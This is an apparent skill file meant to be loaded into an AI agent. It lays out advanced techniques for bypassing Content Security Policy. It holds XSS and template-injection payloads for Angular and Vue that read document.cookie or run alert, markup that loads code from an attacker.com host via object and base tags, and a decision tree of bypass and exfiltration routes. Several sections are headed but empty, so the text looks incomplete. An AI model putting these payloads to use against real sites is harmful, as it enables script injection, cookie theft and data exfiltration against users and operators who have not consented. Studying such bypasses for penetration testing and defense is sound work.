SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest unsafe-inline bypass without checking if the CSP actually uses it, or miss the critical base-uri and object-src gaps.

0. RELATED ROUTING

• xss-cross-site-scripting for XSS vectors to deliver after CSP bypass
• dangling-markup-injection when CSP blocks scripts but HTML injection exists — exfiltrate without JS
• crlf-injection when CRLF can inject CSP header or steal nonce via response splitting
• waf-bypass-techniques when both WAF and CSP must be bypassed
• clickjacking when CSP lacks frame-ancestors — clickjacking still possible

1. CSP DIRECTIVE REFERENCE MATRIX

Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.

2. BYPASS TECHNIQUES BY DIRECTIVE

2.1 script-src 'self'

The app only allows scripts from its own origin. Bypass vectors:

2.2 script-src with CDN Whitelist

script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net

Trick: Search for JSONP endpoints on whitelisted domains: site:googleapis.com inurl:callback

2.3 script-src 'unsafe-eval'

eval(), Function(), setTimeout(string), setInterval(string) all permitted.

// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))

2.4 script-src 'nonce-xxx'

Only scripts with matching nonce attribute execute.

2.5 script-src 'strict-dynamic'

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.

2.6 Angular / Vue CSP Bypass

Angular (with CSP):

<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}

Vue.js:

<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>

2.7 Missing object-src

If object-src is not set (falls back to default-src), and default-src allows some origins:

<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">

2.8 Missing base-uri

<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->

This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.

2.9 Missing frame-ancestors

CSP without frame-ancestors → page can be framed → clickjacking possible.

X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.

3. CSP IN META TAG vs. HEADER

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Meta tag limitations:

• Cannot set frame-ancestors (ignored in meta)
• Cannot set report-uri / report-to
• Cannot set sandbox
• If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
• If page has both header CSP and meta CSP, both apply (most restrictive wins)

4. DATA EXFILTRATION DESPITE CSP

When connect-src, img-src, etc. are locked down, alternative exfiltration channels:

DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.

5. CSP BYPASS DECISION TREE

CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│   ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration

6. TRICK NOTES — WHAT AI MODELS MISS

1. default-src 'self' does NOT restrict base-uri or form-action — these have no fallback. This is the #1 CSP mistake.
2. strict-dynamic ignores whitelist: When strict-dynamic is present, host-based allowlists and 'self' are ignored for script loading. Only nonce/hash and trust propagation matter.
3. Multiple CSPs stack: If both Content-Security-Policy header and <meta> CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
4. Content-Security-Policy-Report-Only does not enforce — it only reports. Check for the correct header name.
5. Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
6. Report-uri information disclosure: CSP violation reports sent to report-uri contain blocked-uri, source-file, line-number — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
7. data: in script-src: script-src 'self' data: allows <script src="data:text/javascript,alert(1)"> — trivial bypass, but commonly seen in real-world CSPs.